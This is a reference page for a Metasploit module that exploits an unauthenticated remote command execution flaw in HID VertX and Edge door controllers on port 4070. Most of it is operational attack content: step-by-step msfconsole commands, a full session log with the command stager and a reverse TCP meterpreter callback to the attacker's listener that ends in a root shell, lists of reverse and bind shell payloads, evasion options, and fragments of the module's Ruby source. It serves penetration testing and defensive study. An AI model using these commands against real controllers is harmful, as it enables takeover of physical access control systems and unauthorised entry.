HID discoveryd command_blink_on Unauthenticated RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: HID discoveryd command_blink_on Unauthenticated RCE
Module: exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
Source code: modules/exploits/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.rb
Disclosure date: 2016-03-28
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): armle
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 4070
List of CVEs: -
This module exploits an unauthenticated remote command execution vulnerability in the discoveryd service exposed by HID VertX and Edge door controllers. This module was tested successfully on a HID Edge model EH400 with firmware version 2.3.1.603 (Build 04/23/2012).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
msf exploit(hid_discoveryd_command_blink_on_unauth_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module exploits an unauthenticated remote command execution
vulnerability in the discoveryd
service exposed by HID VertX and Edge
door controllers.
Vulnerable Application
This module was tested successfully on a HID Edge model EH400 with firmware version 2.3.1.603 (Build 04/23/2012).
Verification Steps
- Start
msfconsole
use exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
set rhost [IP]
set lhost [IP]
run
- You should get a root session
Scenarios
msf5 > use exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
msf5 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > set rhosts 10.123.123.123
rhosts => 10.123.123.123
msf5 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > set lhost 10.1.1.197
lhost => 10.1.1.197
msf5 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > run
[*] Started reverse TCP handler on 10.1.1.197:4444
[*] 10.123.123.123:4070 - Connecting to target
[*] Command Stager progress - 0.29% done (26/8993 bytes)
[*] Command Stager progress - 0.58% done (52/8993 bytes)
[*] Command Stager progress - 0.87% done (78/8993 bytes)
[*] Command Stager progress - 1.16% done (104/8993 bytes)
[...]
[*] Command Stager progress - 98.88% done (8892/8993 bytes)
[*] Command Stager progress - 99.17% done (8918/8993 bytes)
[*] Command Stager progress - 99.46% done (8944/8993 bytes)
[*] Command Stager progress - 99.68% done (8964/8993 bytes)
[*] Sending stage (806208 bytes) to 10.123.123.123
[*] Command Stager progress - 100.00% done (8993/8993 bytes)
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 10.123.123.123
OS : (Linux 2.6.28)
Architecture : armv5tejl
BuildTuple : armv5l-linux-musleabi
Meterpreter : armle/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/misc/hid_discoveryd_command_blink_on_unauth_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
[*] Using configured payload linux/armle/meterpreter/reverse_tcp
msf6 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > show info
Name: HID discoveryd command_blink_on Unauthenticated RCE
Module: exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
Platform: Linux
Arch: armle
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-03-28
Provided by:
Ricky "HeadlessZeke" Lawshae
coldfusion39
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 4070 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits an unauthenticated remote command execution
vulnerability in the discoveryd service exposed by HID VertX and
Edge door controllers. This module was tested successfully on a HID
Edge model EH400 with firmware version 2.3.1.603 (Build 04/23/2012).
References:
http://www.zerodayinitiative.com/advisories/ZDI-16-223
https://blog.trendmicro.com/let-get-door-remote-root-vulnerability-hid-door-controllers/
http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html
https://exfil.co/2016/05/09/exploring-the-hid-eh400/
https://github.com/lixmk/Concierge
https://github.com/coldfusion39/VertXploit
Module Options
This is a complete list of options available in the linux/misc/hid_discoveryd_command_blink_on_unauth_rce exploit:
msf6 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > show options
Module options (exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 4070 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/misc/hid_discoveryd_command_blink_on_unauth_rce exploit:
msf6 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > show advanced
Module advanced options (exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR echo no The CMD Stager to use. (Accepted: auto, echo)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 30 no Additional delay in seconds to wait for a session
Payload advanced options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/misc/hid_discoveryd_command_blink_on_unauth_rce module can exploit:
msf6 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/hid_discoveryd_command_blink_on_unauth_rce exploit:
msf6 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/armle/adduser normal No Linux Add User
4 payload/linux/armle/exec normal No Linux Execute Command
5 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
6 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
7 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
8 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
9 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
10 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
11 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
12 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
13 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/misc/hid_discoveryd_command_blink_on_unauth_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
57: udp_sock.put 'discover;013;'
58: res = udp_sock.get(5)
59: disconnect_udp
60:
61: if res.to_s.eql? ''
62: vprint_error 'Connection failed'
63: return CheckCode::Unknown
64: end
65:
66: hid_res = parse_discovered_response res
67: if hid_res[:mac].eql? ''
Malformed response
Here is a relevant code snippet related to the "Malformed response" error message:
63: return CheckCode::Unknown
64: end
65:
66: hid_res = parse_discovered_response res
67: if hid_res[:mac].eql? ''
68: vprint_error 'Malformed response'
69: return CheckCode::Safe
70: end
71:
72: @mac = hid_res[:mac]
73:
<RHOST>:<RPORT> - Could not determine device version
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Could not determine device version" error message:
81: name: 'hid-discoveryd',
82: info: hid_res
83: )
84:
85: if hid_res[:version].to_s.eql? ''
86: vprint_error "#{rhost}:#{rport} - Could not determine device version"
87: return CheckCode::Detected
88: end
89:
90: # Vulnerable version mappings from VertXploit
91: vuln = false
<RHOST>:<RPORT> - Device model was not recognized
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Device model was not recognized" error message:
106: when 'V1000' # VertX Legacy
107: vuln = true if version <= Rex::Version.new('2.2.7.568')
108: when 'V2000' # VertX Legacy
109: vuln = true if version <= Rex::Version.new('2.2.7.568')
110: else
111: vprint_error "#{rhost}:#{rport} - Device model was not recognized"
112: return CheckCode::Detected
113: end
114:
115: vuln ? CheckCode::Appears : CheckCode::Safe
116: end
Malformed response
Here is a relevant code snippet related to the "Malformed response" error message:
139: udp_sock.put req
140: res = udp_sock.get(5)
141: disconnect_udp
142:
143: unless res.to_s.start_with? 'ack;'
144: fail_with Failure::UnexpectedReply, 'Malformed response'
145: end
146: end
147:
148: def execute_command(cmd, opts)
149: # the protocol uses ';' as a separator,
<RHOST>:<RPORT> - Target is not vulnerable
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Target is not vulnerable" error message:
158: def exploit
159: print_status "#{rhost}:#{rport} - Connecting to target"
160:
161: check_code = check
162: unless check_code == CheckCode::Appears || check_code == CheckCode::Detected
163: fail_with Failure::Unknown, "#{rhost}:#{rport} - Target is not vulnerable"
164: end
165:
166: # linemax is closer to 40,
167: # however we need to account for additinal double escaping
168: execute_cmdstager linemax: 30, :temp => '/tmp'
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11234 Merged Pull Request: revisionism
- #10133 Merged Pull Request: Add HID discoveryd command_blink_on Unauthenticated RCE exploit
References
- CVE: Not available
- ZDI-16-223
- https://blog.trendmicro.com/let-get-door-remote-root-vulnerability-hid-door-controllers/
- http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html
- https://exfil.co/2016/05/09/exploring-the-hid-eh400/
- https://github.com/lixmk/Concierge
- https://github.com/coldfusion39/VertXploit
See Also
Check also the following modules related to this module:
- exploit/linux/misc/accellion_fta_mpipe2
- exploit/linux/misc/aerospike_database_udf_cmd_exec
- exploit/linux/misc/asus_infosvr_auth_bypass_exec
- exploit/linux/misc/cisco_rv340_sslvpn
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/linux/misc/gld_postfix
- exploit/linux/misc/hikvision_rtsp_bof
- exploit/linux/misc/hp_data_protector_cmd_exec
- exploit/linux/misc/hp_jetdirect_path_traversal
- exploit/linux/misc/hplip_hpssd_exec
- exploit/linux/misc/hp_nnmi_pmd_bof
- exploit/linux/misc/hp_vsa_login_bof
- exploit/linux/misc/ib_inet_connect
- exploit/linux/misc/ib_jrd8_create_database
- exploit/linux/misc/ib_open_marker_file
- exploit/linux/misc/ib_pwd_db_aliased
- exploit/linux/misc/igel_command_injection
- exploit/linux/misc/jenkins_java_deserialize
- exploit/linux/misc/jenkins_ldap_deserialize
- exploit/linux/misc/lprng_format_string
- exploit/linux/misc/mongod_native_helper
- exploit/linux/misc/nagios_nrpe_arguments
- exploit/linux/misc/netcore_udp_53413_backdoor
- exploit/linux/misc/netsupport_manager_agent
- exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec
- exploit/linux/misc/novell_edirectory_ncp_bof
- exploit/linux/misc/opennms_java_serialize
- exploit/linux/misc/qnap_transcode_server
- exploit/linux/misc/quest_pmmasterd_bof
- exploit/linux/misc/saltstack_salt_unauth_rce
- exploit/linux/misc/sercomm_exec
- exploit/linux/misc/tplink_archer_a7_c7_lan_rce
- exploit/linux/misc/ueb9_bpserverd
- exploit/linux/misc/zabbix_server_exec
Authors
- Ricky "HeadlessZeke" Lawshae
- coldfusion39
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.